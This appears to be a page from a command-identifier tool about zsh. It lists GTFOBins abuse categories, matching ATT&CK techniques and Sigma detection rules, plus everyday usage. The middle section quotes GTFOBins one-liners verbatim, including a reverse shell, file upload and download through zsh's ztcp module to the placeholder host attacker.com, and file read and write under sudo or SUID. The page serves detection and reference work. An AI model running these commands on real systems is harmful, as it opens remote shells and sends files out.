Ceplin Command Identifier

Identifier / Programs / Linux and Unix

zsh

Z SHell, a Bash-compatible command-line interpreter. tldr-pages

GTFOBins download, file-read, file-write, inherit, reverse-shell, upload 8 Sigma rules name it 2 ATT&CK techniques 8 documented commands

Opens the identifier with your command. It is read in your browser and sent nowhere.

How zsh is abused

documented by GTFOBins

download T1105 Ingress Tool Transfer

-c
-n

file-read

-c

file-write

-c

inherit

-c

reverse-shell T1059.004 Command and Scripting Interpreter: Unix Shell

-c

upload

-c
-n

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for zsh.

8 documented commands

from GTFOBins, each read by the identifier

download unprivileged, with sudo, as SUID

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(<&$REPLY)" >/path/to/output-file'
Identify

file-read unprivileged, with sudo, as SUID

zsh -c 'echo "$(</path/to/input-file)"'
Identify

file-read unprivileged, with sudo, as SUID

This spawns a pager if run in a TTY.

zsh -c '</path/to/input-file'
Identify

file-write unprivileged, with sudo, as SUID

zsh -c 'echo DATA >/path/to/output-file'
Identify

inherit unprivileged, with sudo, as SUID

zsh -c '</etc/hosts'
Identify

reverse-shell unprivileged, with sudo, as SUID

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;zsh >&$REPLY 2>&$REPLY 0>&$REPLY'
Identify

shell unprivileged, with sudo, as SUID

upload unprivileged, with sudo, as SUID

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(</path/to/input-file)" >&$REPLY'
Identify

None of the 8 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for zsh. The identifier reads the line of each that runs zsh.

What detects it

Sigma process creation rules
highShell Execution Of Process Located In Tmp DirectoryJoseliyo Sanchez, @Joseliyo_Jstnk
mediumSuspicious Child Process of SAP NetWeaver - LinuxElastic (idea), Swachchhanda Shrawan Poudel (Nextron Systems)
mediumSuspicious Execution via macOS Script EditorTim Rauch (rule), Elastic (idea)
T1059.004Command and Scripting Interpreter: Unix Shell
T1105Ingress Tool Transfer

Everyday use

from tldr-pages, CC BY 4.0

Start an interactive shell session

Execute specific commands

zsh -c "echo 'zsh is executed'"Identify

Matches GTFOBins abuse: inherit

Execute a specific script

zsh path/to/script.zshIdentify

Of the 3 examples the identifier reads, 1 matches GTFOBins abuse or trips a Sigma process-creation rule.